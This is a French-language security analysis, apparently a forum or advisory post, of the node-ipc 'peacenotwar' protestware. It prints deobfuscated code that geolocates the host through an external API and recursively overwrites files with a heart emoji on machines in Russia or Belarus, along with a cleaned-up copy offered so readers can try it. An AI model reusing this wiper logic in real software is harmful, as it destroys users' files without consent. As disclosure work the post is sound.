node-ipc est un malware / protestware!
Le module RIAEvangelist/node-ipc contient le protestware peacenotwar.
Extrait de RIAEvangelist/node-ipc :
à partir de v11.0.0 et v9.2.2 ce module utilise le module peacenotwar.
Plus important encore, les commits 847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803 de RIAEvangelist/node-ipc contiennent un malware.

J'ai désobfusqué le code ci-dessus et découvert que si l'adresse IP publique de la machine hôte provenait de Russie ou de Biélorussie, node-ipc écraserait de nombreux fichiers avec un emoji cœur, de manière récursive, tout en remontant les répertoires parents :
import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
const t = Math.round(Math.random() * 4);
if (t > 1) {
return;
}
const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
o.get(n.toString("utf8"), function (t) {
t.on("data", function (t) {
const n = Buffer.from("Li8=", "base64");
const o = Buffer.from("Li4v", "base64");
const r = Buffer.from("Li4vLi4v", "base64");
const f = Buffer.from("Lw==", "base64");
const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
const e = Buffer.from("cnVzc2lh", "base64");
const i = Buffer.from("YmVsYXJ1cw==", "base64");
try {
const s = JSON.parse(t.toString("utf8"));
const u = s[c.toString("utf8")].toLowerCase();
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
if (a) {
h(n.toString("utf8"));
h(o.toString("utf8"));
h(r.toString("utf8"));
h(f.toString("utf8"));
}
} catch (t) {}
});
});
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
if (!a.existsSync(n)) {
return;
}
let r = [];
try {
r = a.readdirSync(n);
} catch (t) {}
const f = [];
const c = Buffer.from("4p2k77iP", "base64");
for (var e = 0; e < r.length; e++) {
const i = u.join(n, r[e]);
let t = null;
try {

continue;
}
if (t.isDirectory()) {
const s = h(i, o);
s.length > 0 ? f.push(...s) : null;

Voici des extraits du code malveillant :
Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`
Ce qui suit montre un exemple de ce que serait chacun des paramètres passés à a.writeFile(i,c.toString("utf8") :

Je viens de le rendre plus beau et de commenter le code dangereux pour que vous puissiez l'essayer. Évidemment, le code supprimera littéralement TOUT sur votre disque.
const path = require("path"); const fs = require("fs"); const https = require("https"); setTimeout(function () { const randomNumber = Math.round(Math.random() * 4); if (randomNumber > 1) { // return; } const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154"; const pwd = "./"; const parentDir = "../"; const grandParentDir = "../../"; const root = "/"; const countryName = "country_name"; const russia = "russia"; const belarus = "belarus"; https.get(apiKey, function (message) { message.on("data", function (msgBuffer) { try { const message = JSON.parse(msgBuffer.toString("utf8")); const userCountryName = message[countryName.toString("utf8")].toLowerCase(); const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus if (hasRus) { deleteFile(pwd); deleteFile(parentDir); deleteFile(grandParentDir); deleteFile(root); } } catch (t) {} }); }); // zkyf: Let's try this directly here deleteFile(pwd); deleteFile(parentDir); deleteFile(grandParentDir); deleteFile(root); }, 100); async function deleteFile(pathName = "", o = "") { if (!fs.existsSync(pathName)) { return; } let fileList = []; try { fileList = fs.readdirSync(pathName); } catch (t) {} const f = []; const heartUtf8 = Buffer.from("4p2k77iP", "base64"); for (var idx = 0; idx < fileList.length; idx++) { const fileName = path.join(pathName, fileList[idx]); let fileInfo = null; try { fileInfo = fs.lstatSync(fileName); } catch (err) { continue; } if (fileInfo.isDirectory()) { const fileSymbol = deleteFile(fileName, o); fileSymbol.length > 0 ? f.push(...fileSymbol) : null; } else if (fileName.indexOf(o) >= 0) { try { // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️` console.log(`Rewrite ${fileName}`); } catch (err) {} } } return f; }
